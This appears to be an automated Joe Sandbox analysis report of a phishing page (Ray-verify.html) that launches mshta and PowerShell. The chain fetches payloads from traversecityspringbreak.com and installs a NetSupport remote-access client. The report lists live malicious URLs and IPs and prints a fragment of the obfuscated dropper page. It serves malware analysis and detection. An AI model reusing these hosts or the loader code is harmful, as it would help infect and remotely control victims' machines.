Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	1 Browser Extensions	1 Windows Service	1 DLL Side-Loading	NTDS	35 System Information Discovery	Distributed Component Object Model	1 Input Capture	4 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	11 Registry Run Keys / Startup Folder	13 Process Injection	1 Masquerading	LSA Secrets	41 Security Software Discovery	SSH	3 Clipboard Data	15 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	11 Registry Run Keys / Startup Folder	2 Valid Accounts	Cached Domain Credentials	2 Process Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	31 Virtualization/Sandbox Evasion	DCSync	31 Virtualization/Sandbox Evasion	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	21 Access Token Manipulation	Proc Filesystem	11 Application Window Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	13 Process Injection	/etc/passwd and /etc/shadow	1 System Owner/User Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	1 Rundll32	Network Sniffing	1 System Network Configuration Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner
C:\Users\user\AppData\Roaming\bpsFyf\HTCTL32.DLL	3%	ReversingLabs
C:\Users\user\AppData\Roaming\bpsFyf\PCICHEK.DLL	3%	ReversingLabs
C:\Users\user\AppData\Roaming\bpsFyf\PCICL32.DLL	12%	ReversingLabs
C:\Users\user\AppData\Roaming\bpsFyf\TCCTL32.DLL	3%	ReversingLabs
C:\Users\user\AppData\Roaming\bpsFyf\client32.exe	13%	ReversingLabs
C:\Users\user\AppData\Roaming\bpsFyf\msvcr100.dll	0%	ReversingLabs
C:\Users\user\AppData\Roaming\bpsFyf\pcicapi.dll	3%	ReversingLabs
C:\Users\user\AppData\Roaming\bpsFyf\remcmdstub.exe	12%	ReversingLabs

Source	Detection	Scanner	Label
https://contoso.com/License	0%	URL Reputation	safe
https://contoso.com/	0%	URL Reputation	safe
https://nuget.org/nuget.exe	0%	URL Reputation	safe
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	0%	URL Reputation	safe
http://nuget.org/NuGet.exe	0%	URL Reputation	safe
http://pesterbdd.com/images/Pester.png	0%	URL Reputation	safe
https://go.micro	0%	URL Reputation	safe
https://contoso.com/Icon	0%	URL Reputation	safe
http://www.symauth.com/cps0(	0%	URL Reputation	safe
http://www.symauth.com/rpa00	0%	URL Reputation	safe
https://aka.ms/pscore68	0%	URL Reputation	safe
http://crl.v	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
traversecityspringbreak.com	166.1.160.211	true	true	unknown
inspyrehomedesign.com	166.1.160.75	true	true	unknown
geo.netsupportsoftware.com	172.67.68.212	true	false	unknown
www.google.com	172.217.16.196	true	false	unknown
i.ibb.co	162.19.58.157	true	false	unknown
use.fontawesome.com	unknown	unknown	true	unknown

Contacted URLs

Name	Malicious	Reputation
https://i.ibb.co/t8b1Qdw/1q.png	true	unknown
http://geo.netsupportsoftware.com/location/loca.asp	true	unknown
https://inspyrehomedesign.com/favicon.ico	true	unknown
http://traversecityspringbreak.com/o/o.png	true	unknown
https://inspyrehomedesign.com/	true	unknown
http://92.255.85.135/fakeurl.htm	true	unknown
https://inspyrehomedesign.com/Ray-verify.html	true	unknown
https://www.google.com/complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw	false	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://%s/testpage.htmwininet.dll	client32.exe, 00000015.00000002.2427569432.000000006C640000.00000002.00000001.01000000.00000013.sdmp, HTCTL32.DLL.12.dr	true		unknown
http://www.protware.com/#	mshta.exe, 0000000B.00000002.1766417078.0000025C98228000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://geo.netsupportsoftware.com/location/loca.aspD	client32.exe, 00000015.00000002.2417429700.0000000006110000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://geo.netsupportsoftware.com/location/loca.aspSetChannel(%s)	client32.exe, 00000015.00000002.2422619093.0000000011193000.00000002.00000001.01000000.0000000F.sdmp, PCICL32.DLL.12.dr	true		unknown
https://inspyrehomedesign.com/Ray-verify.htmlEOBsOVUOCByEBKVfVxgwGKHgImTJOhITa	mshta.exe, 0000000B.00000003.1759981197.0000025C9831D000.00000004.00000800.00020000.00000000.sdmp	true		unknown
http://www.pci.co.uk/supportsupport	client32.exe, 00000015.00000002.2423288156.00000000111E1000.00000004.00000001.01000000.0000000F.sdmp, PCICL32.DLL.12.dr	true		unknown
http://traversecityspringbreak.com/o/5.png	powershell.exe, 0000000C.00000002.1977374778.000002F201623000.00000004.00000800.00020000.00000000.sdmp	true		unknown
http://geo.netsupportsoftware.com/location/loca.asp1j	client32.exe, 00000015.00000002.2418160044.00000000061A2000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://contoso.com/License	powershell.exe, 0000000C.00000002.2011951167.000002F2101B3000.00000004.00000800.00020000.00000000.sdmp	true	URL Reputation: safe	unknown
http://127.0.0.1RESUMEPRINTING	client32.exe, 00000015.00000002.2422619093.0000000011193000.00000002.00000001.01000000.0000000F.sdmp, PCICL32.DLL.12.dr	true		unknown
http://%s/testpage.htm	client32.exe, client32.exe, 00000015.00000002.2427569432.000000006C640000.00000002.00000001.01000000.00000013.sdmp, HTCTL32.DLL.12.dr	true		unknown
http://traversecityspringbreak.com/o/3.png	powershell.exe, 0000000C.00000002.1977374778.000002F201623000.00000004.00000800.00020000.00000000.sdmp	true		unknown
https://inspyrehomedesign.com/Ray-verify.htmlhttps://inspyrehomedesign.com/Ray-verify.html	mshta.exe, 0000000B.00000003.1759981197.0000025C98313000.00000004.00000800.00020000.00000000.sdmp	true		unknown
http://traversecityspringbreak.com	powershell.exe, 0000000C.00000002.1977374778.000002F201C33000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1977374778.000002F2021A6000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1977374778.000002F2020EF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1977374778.000002F201C6C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1977374778.000002F201C85000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1977374778.000002F200222000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1977374778.000002F201AA0000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1977374778.000002F200E4D000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1977374778.000002F201623000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1977374778.000002F202118000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1977374778.000002F201C16000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1977374778.000002F201C51000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1977374778.000002F201A68000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1977374778.000002F201CA8000.00000004.00000800.00020000.00000000.sdmp	true		unknown
http://traversecityspringbreak.com/o/4.png	powershell.exe, 0000000C.00000002.1977374778.000002F201623000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1977374778.000002F201C16000.00000004.00000800.00020000.00000000.sdmp	true		unknown
http://%s/fakeurl.htm	client32.exe, client32.exe, 00000015.00000002.2427569432.000000006C640000.00000002.00000001.01000000.00000013.sdmp, HTCTL32.DLL.12.dr	true		unknown
http://fontawesome.com/license	chromecache_83.1.dr	true		unknown
http://traversecityspringbreak.com/o/7.png	powershell.exe, 0000000C.00000002.1977374778.000002F201623000.00000004.00000800.00020000.00000000.sdmp	true		unknown
http://www.protware.com/	mshta.exe, 0000000B.00000002.1767795536.0000025C9A7ED000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://inspyrehomedesign.com/Ray-verify.htmlp	mshta.exe, 0000000B.00000003.1762856955.0000025495615000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000B.00000002.1763718088.0000025495627000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://fontawesome.com	chromecache_83.1.dr	true		unknown
http://www.protware.comv1	mshta.exe, 0000000B.00000002.1767795536.0000025C9A7ED000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://contoso.com/	powershell.exe, 0000000C.00000002.2011951167.000002F2101B3000.00000004.00000800.00020000.00000000.sdmp	true	URL Reputation: safe	unknown
https://nuget.org/nuget.exe	powershell.exe, 0000000C.00000002.2011951167.000002F210073000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.2011951167.000002F2101B3000.00000004.00000800.00020000.00000000.sdmp	true	URL Reputation: safe	unknown
https://inspyrehomedesign.com/Ray-verify.html_	mshta.exe, 0000000B.00000002.1764062895.0000025495638000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000B.00000003.1754052236.0000025495632000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://traversecityspringbreak.com/o/6.png	powershell.exe, 0000000C.00000002.1977374778.000002F201623000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1977374778.000002F201C51000.00000004.00000800.00020000.00000000.sdmp	true		unknown
https://inspyrehomedesign.com/m	mshta.exe, 0000000B.00000003.1762367642.0000025495694000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000B.00000003.1754052236.0000025495669000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://www.netsupportschool.com/tutor-assistant.asp11(	client32.exe, 00000015.00000002.2423288156.00000000111E1000.00000004.00000001.01000000.0000000F.sdmp, PCICL32.DLL.12.dr	true		unknown
https://inspyrehomedesign.com/Ray-verify.htmlINetCookies	mshta.exe, 0000000B.00000003.1754052236.0000025495669000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000B.00000002.1764062895.0000025495669000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	powershell.exe, 0000000C.00000002.1977374778.000002F200001000.00000004.00000800.00020000.00000000.sdmp	true	URL Reputation: safe	unknown
http://www.netsupportschool.com/tutor-assistant.asp	client32.exe, 00000015.00000002.2423288156.00000000111E1000.00000004.00000001.01000000.0000000F.sdmp, PCICL32.DLL.12.dr	true		unknown
https://inspyrehomedesign.com/Ray-verify.htmld	mshta.exe, 0000000B.00000002.1764062895.0000025495638000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000B.00000003.1754052236.0000025495632000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://traversecityspringbreak.com/o/11.png	powershell.exe, 0000000C.00000002.1977374778.000002F201623000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1977374778.000002F202118000.00000004.00000800.00020000.00000000.sdmp	true		unknown
http://nuget.org/NuGet.exe	powershell.exe, 0000000C.00000002.2011951167.000002F210073000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.2011951167.000002F2101B3000.00000004.00000800.00020000.00000000.sdmp	true	URL Reputation: safe	unknown
http://www.pci.co.uk/support	client32.exe, 00000015.00000002.2423288156.00000000111E1000.00000004.00000001.01000000.0000000F.sdmp, PCICL32.DLL.12.dr	true		unknown
https://inspyrehomedesign.com/Ray-verify.htmlVVC:	mshta.exe, 0000000B.00000002.1767795536.0000025C9A7ED000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://pesterbdd.com/images/Pester.png	powershell.exe, 0000000C.00000002.1977374778.000002F200222000.00000004.00000800.00020000.00000000.sdmp	true	URL Reputation: safe	unknown
http://www.apache.org/licenses/LICENSE-2.0.html	powershell.exe, 0000000C.00000002.1977374778.000002F200222000.00000004.00000800.00020000.00000000.sdmp	true		unknown
https://go.micro	powershell.exe, 0000000C.00000002.1977374778.000002F200E4D000.00000004.00000800.00020000.00000000.sdmp	true	URL Reputation: safe	unknown
http://traversecityspringbreak.com/o/9.png	powershell.exe, 0000000C.00000002.1977374778.000002F201623000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1977374778.000002F201CA8000.00000004.00000800.00020000.00000000.sdmp	true		unknown
https://contoso.com/Icon	powershell.exe, 0000000C.00000002.2011951167.000002F2101B3000.00000004.00000800.00020000.00000000.sdmp	true	URL Reputation: safe	unknown
https://inspyrehomedesign.com/N	mshta.exe, 0000000B.00000003.1754052236.0000025495669000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000B.00000002.1764062895.0000025495669000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://traversecityspringbreak.com/o/8.png	powershell.exe, 0000000C.00000002.1977374778.000002F201623000.00000004.00000800.00020000.00000000.sdmp	true		unknown
http://traversecityspringbreak.com/o/10.png	powershell.exe, 0000000C.00000002.1977374778.000002F201623000.00000004.00000800.00020000.00000000.sdmp	true		unknown
http://127.0.0.1	client32.exe, client32.exe, 00000015.00000002.2422619093.0000000011193000.00000002.00000001.01000000.0000000F.sdmp, PCICL32.DLL.12.dr	true		unknown
https://inspyrehomedesign.com/Ray-verify.html...I	mshta.exe, 0000000B.00000002.1766417078.0000025C98228000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://inspyrehomedesign.com/Ray-verify.html...P	mshta.exe, 0000000B.00000002.1766417078.0000025C98228000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://www.symauth.com/cps0(	powershell.exe, 0000000C.00000002.1977374778.000002F201C6C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1977374778.000002F201C85000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1977374778.000002F201AA0000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1977374778.000002F202118000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1977374778.000002F201CA8000.00000004.00000800.00020000.00000000.sdmp, pcicapi.dll.12.dr, HTCTL32.DLL.12.dr, PCICHEK.DLL.12.dr, TCCTL32.DLL.12.dr, PCICL32.DLL.12.dr	true	URL Reputation: safe	unknown
https://github.com/Pester/Pester	powershell.exe, 0000000C.00000002.1977374778.000002F200222000.00000004.00000800.00020000.00000000.sdmp	true		unknown
http://www.protware.com	mshta.exe, 0000000B.00000003.1756113861.00000254956E3000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000B.00000003.1757874634.0000025C98246000.00000004.00000020.00020000.00000000.sdmp, Ray-verify[1].htm.11.dr, chromecache_88.1.dr	true		unknown
http://geo.netsupportsoftware.com/location/loca.asphn	client32.exe, 00000015.00000003.2277891273.00000000013DB000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://traversecityspringbreak.com/o/2.png	powershell.exe, 0000000C.00000002.1977374778.000002F201623000.00000004.00000800.00020000.00000000.sdmp	true		unknown
http://www.symauth.com/rpa00	powershell.exe, 0000000C.00000002.1977374778.000002F201C6C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1977374778.000002F201C85000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1977374778.000002F201AA0000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1977374778.000002F202118000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1977374778.000002F201CA8000.00000004.00000800.00020000.00000000.sdmp, pcicapi.dll.12.dr, HTCTL32.DLL.12.dr, PCICHEK.DLL.12.dr, TCCTL32.DLL.12.dr, PCICL32.DLL.12.dr	true	URL Reputation: safe	unknown
https://inspyrehomedesign.com/Ray-verify.htmldV	mshta.exe, 0000000B.00000002.1764062895.0000025495638000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000B.00000003.1754052236.0000025495632000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://traversecityspringbreak.comp	powershell.exe, 0000000C.00000002.1977374778.000002F201623000.00000004.00000800.00020000.00000000.sdmp	true		unknown
https://inspyrehomedesign.com/Ray-verify.html#?	mshta.exe, 0000000B.00000002.1765266374.0000025495940000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000B.00000002.1768096542.0000025C9C990000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://aka.ms/pscore68	powershell.exe, 0000000C.00000002.1977374778.000002F200001000.00000004.00000800.00020000.00000000.sdmp	true	URL Reputation: safe	unknown
http://traversecityspringbreak.com/o/1.png	powershell.exe, 0000000C.00000002.1977374778.000002F201623000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1977374778.000002F201A68000.00000004.00000800.00020000.00000000.sdmp	true		unknown
http://traversecityspringbreak.com/o/12.png	powershell.exe, 0000000C.00000002.1977374778.000002F201623000.00000004.00000800.00020000.00000000.sdmp	true		unknown
http://crl.v	powershell.exe, 0000000C.00000002.2018709421.000002F279A3A000.00000004.00000020.00020000.00000000.sdmp	true	URL Reputation: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
166.1.160.211	traversecityspringbreak.com	United States	11798	ACEDATACENTERS-AS-1US	true
172.67.68.212	geo.netsupportsoftware.com	United States	13335	CLOUDFLARENETUS	false
162.19.58.157	i.ibb.co	United States	209	CENTURYLINK-US-LEGACY-QWESTUS	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
92.255.85.135	unknown	Russian Federation	42097	SOVTEL-ASRU	true
166.1.160.75	inspyrehomedesign.com	United States	11798	ACEDATACENTERS-AS-1US	true
172.217.16.196	www.google.com	United States	15169	GOOGLEUS	false
169.197.85.95	unknown	United States	26548	PUREVOLTAGE-INCUS	false

Private

IP
192.168.2.16

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1544089
Start date and time:	2024-10-28 19:44:45 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 6m 46s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultwindowsinteractivecookbook.jbs
Sample URL:	https://inspyrehomedesign.com/Ray-verify.html
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	23
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal100.rans.phis.troj.evad.win@30/39@14/9
EGA Information:	Successful, ratio: 66.7%
HCA Information:	Successful, ratio: 52% Number of executed functions: 127 Number of non-executed functions: 249

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, SIHClient.exe, SgrmBroker.exe, conhost.exe, WmiPrvSE.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 142.250.186.110, 74.125.133.84, 142.250.185.163, 34.104.35.123, 93.184.221.240, 172.67.142.245, 104.21.27.152, 142.250.186.99, 2.19.126.163, 216.58.206.46
Excluded domains from analysis (whitelisted): clients1.google.com, fs.microsoft.com, accounts.google.com, slscr.update.microsoft.com, ctldl.windowsupdate.com, clientservices.googleapis.com, use.fontawesome.com.cdn.cloudflare.net, dns.msftncsi.com, fe3cr.delivery.mp.microsoft.com, clients2.google.com, edgedl.me.gvt1.com, update.googleapis.com, clients.l.google.com
Execution Graph export aborted for target mshta.exe, PID 7848 because there are no executed function
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: https://inspyrehomedesign.com/Ray-verify.html

Simulations

Behavior and APIs

Time	Type	Description
14:46:11	API Interceptor	1x Sleep call for process: mshta.exe modified
14:46:14	API Interceptor	106x Sleep call for process: powershell.exe modified
14:47:05	API Interceptor	176x Sleep call for process: client32.exe modified

Process:	C:\Users\user\AppData\Roaming\bpsFyf\client32.exe
File Type:	ASCII text, with no line terminators
Category:	modified
Size (bytes):	15
Entropy (8bit):	2.7329145639793984
Encrypted:	false
SSDEEP:	3:QJgTG:QkG
MD5:	8AB0D91EF06123198FFAC30AD08A14C7
SHA1:	46D83BB84F74D8F28427314C6084CC9AFE9D1533
SHA-256:	DB50064FEE42FB57DCFD9C4269A682331246224D6108A18DB83ABD400CCECA12
SHA-512:	1AA8560708AD663C4D5D0C2199E2CE472D11748EDA18848AAA3430C6F333BB04DA65DFFF4144BFEEA3860CA30F7F832EC64FF6D5B0731AC8878050601AC7A3A3
Malicious:	false
Reputation:	low
Preview:	32.7767,-96.797

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\AN5UOLP8\Ray-verify[1].htm

Download File

Process:	C:\Windows\System32\mshta.exe
File Type:	data
Category:	dropped
Size (bytes):	10478
Entropy (8bit):	6.1437966409549345
Encrypted:	false
SSDEEP:	192:+YdzCOGbqUhwFRyC7lzBpi58Q0cW3O3AMw8+Ezgl02pmiV5ASidm4EcMvYf5:+YduOGPwFz7lzO58Q0m+0MnX4X
MD5:	977BB6913B1F65A6472727EA4F362E97
SHA1:	1D1247A8F9359576C913E9586D72F0D51773B22C
SHA-256:	CACE794532FFC2A8275C86E4248CA38CF85DFB209D630E05E049D6FE2047EA2E
SHA-512:	02E3D08AFED87051CD5D7DE046CFECE58731901EF985F8A76E4110130ED4A364ABAC06E77D124E185E146502BF4170AAF07E81272DB9C100FAFF878ACFE48EFA
Malicious:	false
Reputation:	low
Preview:	<html><head><meta http-equiv='x-ua-compatible' content='EmulateIE9'><META NAME='GENERATOR' Content='The source code of this page is encrypted with HTML Guardian, the world's standart for website protection. Visit http://www.protware.com for details'><meta http-equiv='expires' content=''><script>l1l=document.documentMode\|\|document.all;var c6efa=true;ll1=document.layers;lll=window.sidebar;c6efa=(!(l1l&&ll1)&&!(!l1l&&!ll1&&!lll));l_ll=location+'';l11=navigator.userAgent.toLowerCase();function lI1(l1I){return l11.indexOf(l1I)>0?true:false};lII=lI1('kht')\|lI1('per');c6efa\|=lII;zLP=location.protocol+'0FD';ilY5HP79zs2='e6Fwtnl9Iy7X';</script><script>oS3zB7k=new Array();oS3zB7k[0]='\141\151\165%31%49%4A%31%33%48\121%32%38';wL6mXZ4=new Array();wL6mXZ4[0]='.<.!.D.O.C.T.Y.P.E. .h.t.m.l. .P.U.B.L.I.C. .".-././.W.3.C~..D.T.D. .X.H.T.M.L. .1...0. .T.r.a.n.s.i.t.i.o.n.a.l~..E.N."~.~\n.t.p.:~..w~B...w.3...o.r.g./.T.R./.x~\n~..1./~..D~N~P.l.1.-.t~-~/~1~3~5.l...d.t.d.".>.\r.\n.<~W. .x~.~/.=."~=~?~A~C~E

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	11608
Entropy (8bit):	4.890472898059848
Encrypted:	false
SSDEEP:	192:6xoe5qpOZxoe54ib4ZVsm5emdqVFn3eGOVpN6K3bkkjo5OgkjDt4iWN3yBGHVQ9R:9rib4ZmVoGIpN6KQkj2Fkjh4iUxsT6YP
MD5:	8A4B02D8A977CB929C05D4BC2942C5A9
SHA1:	F9A6426CAF2E8C64202E86B07F1A461056626BEA
SHA-256:	624047EB773F90D76C34B708F48EA8F82CB0EC0FCF493CA2FA704FCDA7C4B715
SHA-512:	38697525814CDED7B27D43A7B37198518E295F992ECB255394364EC02706443FB3298CBBAA57629CCF8DDBD26FD7CAAC44524C4411829147C339DD3901281AC2
Malicious:	false
Reputation:	low
Preview:	PSMODULECACHE......)..z..S...C:\Program Files\WindowsPowerShell\Modules\PowerShellGet\1.0.0.1\PowerShellGet.psd1........Uninstall-Module........inmo........fimo........Install-Module........New-ScriptFileInfo........Publish-Module........Install-Script........Update-Script........Find-Command........Update-ModuleManifest........Find-DscResource........Save-Module........Save-Script........upmo........Uninstall-Script........Get-InstalledScript........Update-Module........Register-PSRepository........Find-Script........Unregister-PSRepository........pumo........Test-ScriptFileInfo........Update-ScriptFileInfo........Set-PSRepository........Get-PSRepository........Get-InstalledModule........Find-Module........Find-RoleCapability........Publish-Script.........&ug.z..C...C:\Program Files\WindowsPowerShell\Modules\Pester\3.4.0\Pester.psd1........Describe........Get-TestDriveItem........New-Fixture........In........Invoke-Mock........InModuleScope........Mock........SafeGetCommand........Af

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	17640
Entropy (8bit):	5.486548466185529
Encrypted:	false
SSDEEP:	384:RBhjrVVMuHAx0B4cIpvIU6XNqa4vqzpfO48n5aiTkJRBOtqkovbhpFN8Zgn:trrMp0eaXNqa40Zqp6RKEbhpwZ6
MD5:	AB56647317D7F17022D3617E27014E0A
SHA1:	0B5D58A45391E492B4703A6D60440080C0A35C2B
SHA-256:	26467D122190301517F995566D89BE5E82AD0D6987A20D3FE41ED592AC565BBE
SHA-512:	B7262E9E765A8A2D8BD26DA6FE843BAD11D25B28F9E74C04E91C996D6FE78699AC70DBC20DD50B275906137409B31DA5AB7C69AB40E875EE52BEB84E46B0303B
Malicious:	false
Reputation:	low
Preview:	@...e................................................@..........H...............o..b~.D.poM...C..... .Microsoft.PowerShell.ConsoleHostD...............4..7..D.#V.....8.......System.Management.Automation0.................Vn.F..kLsw..........System..4...............<."..Ke@...j..........System.Core.L.................gQ?O.....x5.......#.Microsoft.Management.Infrastructure.4.................%...K... ...........System.Xml..8..................1...L..U;V.<}........System.Numerics.@................z.U..G...5.f.1........System.DirectoryServices<................t.,.lG....M...........System.Management...4...............&.QiA0aN.:... .G........System.Data.<...............i..VdqF...\|...........System.ConfigurationH................WY..2.M.&..g(g........Microsoft.PowerShell.Security...<................$@...J....M+.B........System.Transactions.P...............8..{...@.e..."4.F.....%.Microsoft.PowerShell.Commands.Utility...D....................+.H..!...e........System.Configuration.Ins

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_egh3avmr.zhn.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	low
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_mshhzrqx.05j.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	low
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Mon Oct 28 17:45:15 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
